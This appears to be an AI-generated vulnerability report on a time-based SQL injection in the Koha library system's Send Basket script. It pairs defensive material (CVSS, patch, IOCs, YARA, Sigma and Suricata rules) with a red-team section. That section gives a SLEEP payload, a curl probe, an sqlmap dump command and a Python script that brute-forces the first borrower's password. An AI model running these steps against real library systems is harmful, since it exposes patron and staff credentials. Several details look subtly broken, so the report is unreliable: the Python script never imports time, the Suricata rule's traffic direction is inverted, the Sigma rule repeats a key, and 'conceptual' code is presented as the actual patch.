CVE-2024-36058

Executive Summary

CVE-2024-36058 is a time-based SQL injection vulnerability in the Koha Library Management System, specifically in the "Send Basket" functionality. The vulnerability exists in versions prior to 23.05.10 and allows an unauthenticated attacker to extract arbitrary data from the database by manipulating the bib_list POST parameter. The attack is blind (time-based), meaning the attacker infers information based on response delays. This vulnerability is particularly dangerous because it can be exploited by any library user (or even unauthenticated users if the OPAC is publicly accessible) to read sensitive data such as patron records, staff credentials, or system configuration.

Supply Chain & Package Security

Koha is a self-hosted open-source ILS (Integrated Library System). There is no NPM, PyPI, Go, or Ruby package involved. The vulnerability is in the Perl/CGI codebase. Organizations should verify their Koha version and apply the patch from the official repository.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No direct impact on availability.

CVSS Score: 7.5 (High) – Confidentiality impact is high, but integrity and availability are not affected.

Deep Dive & Mechanics

The vulnerability resides in the opac-sendbasket.pl script, which handles the "Send Basket" feature allowing patrons to email a list of bibliographic records. The script accepts a POST parameter bib_list containing record IDs. This parameter is directly concatenated into a SQL query without sanitization or parameterization.

Vulnerable Code Snippet (Conceptual):

my $bib_list = $cgi->param('bib_list');
my $query = "SELECT biblionumber, title FROM biblio WHERE biblionumber IN ($bib_list)";
my $sth = $dbh->prepare($query);
$sth->execute();

An attacker can inject SQL payloads into the bib_list parameter. Since the application does not return database errors or query results directly, the attacker must use time-based techniques (e.g., SLEEP() or WAITFOR DELAY) to infer data.

Example Payload:

bib_list=1 OR (SELECT IF(SUBSTRING((SELECT password FROM borrowers LIMIT 1),1,1)='a',SLEEP(5),0))

This payload checks if the first character of the first borrower's password is 'a'. If true, the database sleeps for 5 seconds, allowing the attacker to confirm the condition.

Vulnerable vs. Patched Code

Vulnerable (Pre-23.05.10):

my $bib_list = $cgi->param('bib_list');
my $query = "SELECT biblionumber, title FROM biblio WHERE biblionumber IN ($bib_list)";
my $sth = $dbh->prepare($query);
$sth->execute();

Patched (23.05.10+):

my $bib_list = $cgi->param('bib_list');
# Sanitize: ensure only numeric values and commas
$bib_list =~ s/[^0-9,]//g;
my @ids = split(',', $bib_list);
my $placeholders = join(',', ('?') x @ids);
my $query = "SELECT biblionumber, title FROM biblio WHERE biblionumber IN ($placeholders)";
my $sth = $dbh->prepare($query);
$sth->execute(@ids);

The patch removes non-numeric characters (except commas) and uses parameterized queries to prevent injection.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A Koha instance with version < 23.05.10.
• Network access to the OPAC (usually port 80/443).

Step 1: Confirm Vulnerability Send a request with a benign payload to test response time:

curl -X POST "http://target/cgi-bin/koha/opac-sendbasket.pl" \
  -d "bib_list=1 OR SLEEP(5)"

If the response takes ~5 seconds longer than normal, the vulnerability is present.

Step 2: Extract Data (Time-Based) Use a script to brute-force characters. Example using sqlmap:

sqlmap -u "http://target/cgi-bin/koha/opac-sendbasket.pl" \
  --data="bib_list=1" \
  --technique=T \
  --dbms=mysql \
  --dump

Step 3: Manual Extraction (Python)

import requests
import string

target = "http://target/cgi-bin/koha/opac-sendbasket.pl"
charset = string.ascii_lowercase + string.digits

def test_char(pos, char):
    payload = f"1 OR (SELECT IF(SUBSTRING((SELECT password FROM borrowers LIMIT 1),{pos},1)='{char}',SLEEP(3),0))"
    start = time.time()
    requests.post(target, data={"bib_list": payload})
    return time.time() - start > 2

password = ""
for i in range(1, 33):
    for c in charset:
        if test_char(i, c):
            password += c
            break
print(f"Password: {password}")

Blue Team (Defender)

Detection:

• Monitor for unusual bib_list parameters containing SQL keywords (e.g., SLEEP, WAITFOR, OR, AND).
• Look for requests with abnormally long response times (e.g., >2 seconds).
• Check logs for repeated requests to opac-sendbasket.pl with varying bib_list values.

Mitigation:

• Immediately upgrade to Koha 23.05.10 or later.
• If patching is delayed, implement a WAF rule to block suspicious bib_list values.
• Restrict access to the OPAC from untrusted networks.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /cgi-bin/koha/opac-sendbasket.pl with bib_list containing SQL keywords.
  • Response times > 2 seconds for normal-sized requests.
• Log IOCs:
  • Apache/Nginx access logs showing bib_list with SLEEP, WAITFOR, OR, AND, UNION, SELECT.
  • Database logs showing slow queries with SLEEP() or BENCHMARK().
• File IOCs:
  • Modified opac-sendbasket.pl file (if attacker gained write access).
  • Unusual files in /tmp/ or /var/tmp/ (e.g., sqlmap output).

Detection Engineering

YARA Rule

rule CVE_2024_36058_Koha_SQLi {
    meta:
        description = "Detects SQL injection attempts against Koha opac-sendbasket.pl"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-36058"
    strings:
        $s1 = "bib_list=" nocase
        $s2 = "SLEEP" nocase
        $s3 = "WAITFOR" nocase
        $s4 = "BENCHMARK" nocase
        $s5 = "OR " nocase
        $s6 = "AND " nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2024-36058 Koha SQL Injection Attempt
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects time-based SQL injection attempts against Koha opac-sendbasket.pl
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "opac-sendbasket.pl"
        cs-uri-query|contains: "bib_list="
    keywords:
        - "SLEEP"
        - "WAITFOR"
        - "BENCHMARK"
        - "OR "
        - "AND "
    condition: selection and keywords
falsepositives:
    - Legitimate use of "OR" in a book title (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-36058 Koha SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/koha/opac-sendbasket.pl"; http_uri;
    content:"bib_list="; http_client_body;
    pcre:"/(SLEEP|WAITFOR|BENCHMARK|OR\s|AND\s)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-36058;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Koha to version 23.05.10 or later. This is the only complete fix.
2. Apply WAF Rules to block requests containing SQL keywords in the bib_list parameter.
3. Restrict OPAC Access to trusted IP ranges if possible.

Long-Term Measures:

• Implement input validation for all user-supplied parameters.
• Use parameterized queries (prepared statements) in all database interactions.
• Conduct regular security audits of custom Koha plugins and themes.
• Monitor for similar vulnerabilities in other Koha scripts.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.

{/* [Security Hash: 4F978DE64AF79F18C46AA2E9] */}